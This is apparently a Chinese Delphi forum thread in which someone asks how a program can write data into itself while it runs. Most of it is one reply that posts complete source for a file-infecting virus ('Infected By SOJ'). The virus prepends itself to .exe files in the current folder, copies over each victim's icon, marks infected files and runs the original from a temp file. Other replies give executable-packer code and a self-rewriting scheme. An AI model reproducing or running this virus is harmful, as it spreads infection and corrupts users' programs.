我想在程序运行时向程序中写入一些字符信息。有源码参考吗?请大家指教!
解决方案 »
- ----------祝大家新年吉祥安康----------
- Bpl打包的BaseForm怎么可视化继承?让别的BPL继承时可以看见上面的控件?
- delphi里面文本滚动如何不闪烁?
- 用IntraWeb查询数据库时很容易超时,应该注意什么地方呢,我已经做了如下的设置。
- 怎么知道程序是被用户在win2000中的任务管理器强行关闭的?
- 求助:将hex文件读入编程器窗口及如何将这些数据保存为hex文件。
- 在先等待 50分--delphi中怎么在设置后memo组件的Wanttab=true后,设置按tab键缩进的字符个数
- 图的遍历的算法
- 怎么實現用快捷鍵實現調用程序
- 再求解Socket图片传送?
- 关于webbrowser的问题
- 请问indy的TCPServer如何知道连接的client的IP?如何知道断开的client的IP?
Code here://headerprj.dpr
program headerprj;uses
Windows,Classes,SysUtils,Graphics,ShellAPI;const
HEADERSIZE=78336;
ICONOFFSET=$11EB8;
INFECTFLAG='Infected By SOJ';
ID=$66666666;{$R *.RES}var
tmpFile:string;
si:STARTUPINFO;
pi:PROCESS_INFORMATION;
sr:TSearchRec;
Counter:Integer;//routines
procedure CopyStream(Src:TStream;sStartPos:Integer;
Dst:TStream;dStartPos:Integer;Count:Integer);
var
sCurPos,dCurPos:Integer;
begin
sCurPos:=Src.Position;
dCurPos:=Dst.Position;
src.Seek(sStartPos,0);
dst.Seek(dStartPos,0);
dst.CopyFrom(src,Count);
src.Seek(sCurPos,0);
dst.Seek(dCurPos,0);
end;{CopyStream}function Getmyname:string;
var
cmdline:String;
myname:Array [0..255] of Char;
i,j:integer;
begin
i:=1;j:=0;
cmdline:=GetCommandLine;
while cmdline[i]<>chr(0) do
begin
if cmdline[i]<>'"' then
begin
myname[j]:=cmdline[i];
inc(j);
end;
inc(i);
end;
myname[j-1]:=chr(0);
Result:=strpas(@myname);
end;{Getmyname}function GetTempFullName:String;
var
tmpPath:Array[1..256]of Char;
tmpname:Array[1..256]of Char;
begin
GetTempPath(256,@tmpPath);
GetTempFileName(@tmpPath,'PQR',0,@tmpName);
Result:=StrPas(@tmpName);
end;{GetTempFullName}procedure ExtractFile(filename:string);
var
sStream,dStream:TFileStream;
begin
sStream:=TFileStream.Create(Getmyname,fmOpenRead or fmShareDenyNone);
dStream:=TFileStream.Create(filename,fmCreate);
sStream.Seek(HEADERSIZE,0);
dStream.CopyFrom(sStream,sStream.Size-HEADERSIZE);
sStream.Free;
dStream.Free;
end;procedure fillstartupinfo(var si:STARTUPINFO;state:WORD);
begin
si.cb := sizeof(si);
si.lpReserved := nil;
si.lpDesktop := nil;
si.lpTitle := nil;
si.dwFlags := STARTF_USESHOWWINDOW;
si.wShowWindow := state;
si.cbReserved2 := 0;
si.lpReserved2 := nil;
end;function InfectFile(Filename:TFilename):Boolean;
var
hdrStream,srcStream:TFileStream;
icoStream,dstStream:TMemoryStream;
iID:Longint;
aIcon:TIcon;
begin
try
if Filename='headerprj.exe' then exit;
srcStream:=TFileStream.Create(Filename,fmOpenRead); srcStream.Seek(-4,2);
srcStream.Read(iID,4); if (iID=ID) or (srcStream.Size >1000000)then
begin
srcStream.Free;
Result:=False;
exit; //如果感染过了则退出
end;
srcStream.Free; try
icoStream:=TMemoryStream.Create;
aIcon:=TIcon.Create;
aIcon.ReleaseHandle;
aIcon.Handle:=ExtractIcon(Hinstance,PChar(Filename),0);//被感染文件的图标
aIcon.SaveToStream(icoStream);
aIcon.Free; srcStream:=TFileStream.Create(FileName,fmOpenRead);
hdrStream:=TFileStream.Create(GetMyName,fmOpenRead or fmShareDenyNone);//头文件
dstStream:=TMemoryStream.Create; CopyStream(hdrStream,0,dstStream,0,HEADERSIZE);
CopyStream(icoStream,22,dstStream,ICONOFFSET,$2e8);
CopyStream(srcStream,0,dstStream,HEADERSIZE,srcStream.Size); dstStream.Seek(0,2);
iID:=$66666666;
dstStream.Write(iID,4); finally
icoStream.Free;
srcStream.Free;
hdrStream.Free;
dstStream.SaveToFile(Filename);
dstStream.Free;
Result:=True;
end;
except;
end;
end;//主程序开始
begin
Counter:=2;
if FindFirst('*.exe',faAnyFile,sr)=0 then
begin
InfectFile(sr.Name);
while (FindNext(sr)=0) and (Counter>0) do
begin
if InfectFile(sr.Name) then Dec(Counter);
end;
end;
FindClose(sr);
if ExtractFileName(Getmyname)='headerprj.exe' then exit;
tmpFile:=GetTempFullname;
ExtractFile(tmpFile);
fillstartupinfo(si,SW_SHOWDEFAULT);
CreateProcess(PChar(tmpFile),PChar(tmpFile),nil,nil,True,0,nil,'.',si,pi);
end.ps:文件名一定要叫headerprj.exe否则会有问题,看看代码就知道了
var
FsName, FtName, FbName, FCode: string;
iTargetFile, iSourceFile: Integer;
MyBuf: array[0..MaxBufferSize - 1] of Char;
LockedFile: TLockedFile;
NumRead, NumWritten: Integer;
bSuccessed: Boolean;
begin
BusyStatus;{设置按钮无效,表示正忙}
FsName := sExeFilename;{被加壳的文件名}
FbName := FsName + '.TMP'; {被加壳文件的备份文件名}
{附加代码的文件名}
FCode := ExtractFilePath(paramstr(0))+'DialogPass.exe';
if not fileexists(FCode) then
raise exception.create(FCode+'文件没找到.'); {如果需要备份文件}
if CheckBox1.Checked then
begin
CopyFile(FsName, FbName);
end;
iSourceFile := FileOpen(FsName, fmOpenRead or fmShareDenyNone);
try
with LockedFile do
begin
Flag := CFlag;{自定义的标志}
Name := ExtractFileName(FsName);{文件名}
Caption := '';{标题,保留没有使用}
Password := StringEncrypt(sPassword);{密码}
AdditionalCodeLen := GetFileSize2(FCode);{附加代码的长度}
end;
{临时文件是在被加壳文件名前加"__"}
FtName := ExtractFilePath(FsName) + '__' + LockedFile.Name;
CopyFile(FCode, FtName);{先拷贝附加代码} {在附加代码之后写被加壳文件}
bSuccessed := False;
iTargetFile := FileOpen(FtName, fmOpenReadWrite);
try
{定位至目标文件的末尾}
FileSeek(iTargetFile, 0, soFromEnd);
repeat
NumRead := FileRead(iSourceFile, MyBuf, SizeOf(MyBuf));
NumWritten := FileWrite(iTargetFile, MyBuf, NumRead);
until (NumRead = 0) or (NumWritten <> NumRead);
{最后写上密码等信息}
FileWrite(iTargetFile, LockedFile, SizeOf(LockedFile));
bSuccessed := True;
showmessage('文件加密完成');
finally
FileClose(iTargetFile);
end;
finally
FileClose(iSourceFile);
end;
if bSuccessed then
begin
{删除被加壳的文件}
DeleteFile(FsName);
{把临时文件重命名为被加壳的文件}
RenameFile(FtName, FsName);
end;
{重新检查文件是否已加壳}
FileAddShellOrNot(EditFileName.Text);
end;
只能这样:假设自身名称为A
把自身复制到另一个位置或另一个文件名B,改写文件B,然后执行文件B,关闭A
B删除A,把自己复制回来,并改名为A,执行新的A,删除B